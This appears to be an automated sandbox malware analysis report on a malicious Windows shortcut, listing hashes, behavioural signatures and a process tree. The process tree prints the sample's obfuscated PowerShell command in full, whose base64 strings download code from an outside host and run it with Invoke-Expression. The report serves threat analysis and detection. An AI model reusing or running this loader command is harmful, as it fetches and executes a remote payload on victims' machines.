5fb0518c2ced3e2556da039dae3cfe846cbf667ef2556c6d75b1487da75ef15f

Analysis

max time kernel
118s
max time network
121s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
20/03/2024, 08:29

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General

Target
2.2024 Outfit Strests.lnk
Size 3.0MB
Sample240320-kdkkjacf93
SHA256 5fb0518c2ced3e2556da039dae3cfe846cbf667ef2556c6d75b1487da75ef15f
MD5 479b235adaa09fb5be9abb618ef56856
SHA1 5b0c8b05c486ec66f6a53a625fcb31c1dc946fe7
SHA512 45c761b88ea3e74aa13b578e89278bd6dddcff0f4a5d41ceea313a573525a59206c0078023a4ef492f2e0df2aba000ed1e700b8808a10161756899322d354d16
SSDEEP 24:8wcxh4yCI4Xyl7+RIZJ2le8f75SRIZJpovgdJBxFsySP4I0Qc5jefJ4I0:8TxR4m7L8fvtuIISdlI
MD5 SHA1 SHA512 SSDEEP

Score

3^/10

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2820	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2820	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2220 wrote to memory of 2696	2220	cmd.exe	29
PID 2220 wrote to memory of 2696	2220	cmd.exe	29
PID 2220 wrote to memory of 2696	2220	cmd.exe	29
PID 2696 wrote to memory of 2820	2696	cmd.exe	30
PID 2696 wrote to memory of 2820	2696	cmd.exe	30
PID 2696 wrote to memory of 2820	2696	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\2.2024 Outfit Strests.lnk"
1⤵
- Suspicious use of WriteProcessMemory
PID:2220
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /c start /min "" p^o^w^ershell.ex^e -W^i^n^d^owSt^yle h^id^de^n -No^Lo^go -N^o^Pro^f^i^l^e -Exec^ut^i^o^nP^oli^c^y by^p^ass -C^omm^a^n^d "$qcljngg=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('JGNvbnRlbnQgPSBJbnZva2UtV2ViUmVxdWVzdCAtVXJpICdodHRwOi8vZml4dGVzdDEyMy51ay9hcGk='));$htweub=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('L2ZpbGVkYXRhL3BzLzA4ZjJhOWRkMmY1NDY0ODNiMzFhNzY0MTA4ODM4YWFhJyAtVXNlQmFzaWNQYXJzaW5nO0ludm9rZS1FeHByZXNzaW9uICRjb250ZW50LmNvbnRlbnQ7'));Invoke-Expression ($qcljngg + $htweub)"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2696
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -Command "$qcljngg=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('JGNvbnRlbnQgPSBJbnZva2UtV2ViUmVxdWVzdCAtVXJpICdodHRwOi8vZml4dGVzdDEyMy51ay9hcGk='));$htweub=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('L2ZpbGVkYXRhL3BzLzA4ZjJhOWRkMmY1NDY0ODNiMzFhNzY0MTA4ODM4YWFhJyAtVXNlQmFzaWNQYXJzaW5nO0ludm9rZS1FeHByZXNzaW9uICRjb250ZW50LmNvbnRlbnQ7'));Invoke-Expression ($qcljngg + $htweub)"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2820

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2820-41-0x000000001B410000-0x000000001B6F2000-memory.dmp

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memory/2820-42-0x0000000002590000-0x0000000002598000-memory.dmp

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memory/2820-43-0x000007FEF6200000-0x000007FEF6B9D000-memory.dmp

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memory/2820-44-0x0000000002950000-0x00000000029D0000-memory.dmp

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memory/2820-45-0x000007FEF6200000-0x000007FEF6B9D000-memory.dmp

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memory/2820-48-0x0000000002950000-0x00000000029D0000-memory.dmp

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memory/2820-47-0x0000000002950000-0x00000000029D0000-memory.dmp

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memory/2820-46-0x0000000002950000-0x00000000029D0000-memory.dmp

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memory/2820-49-0x0000000002950000-0x00000000029D0000-memory.dmp

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memory/2820-50-0x000007FEF6200000-0x000007FEF6B9D000-memory.dmp

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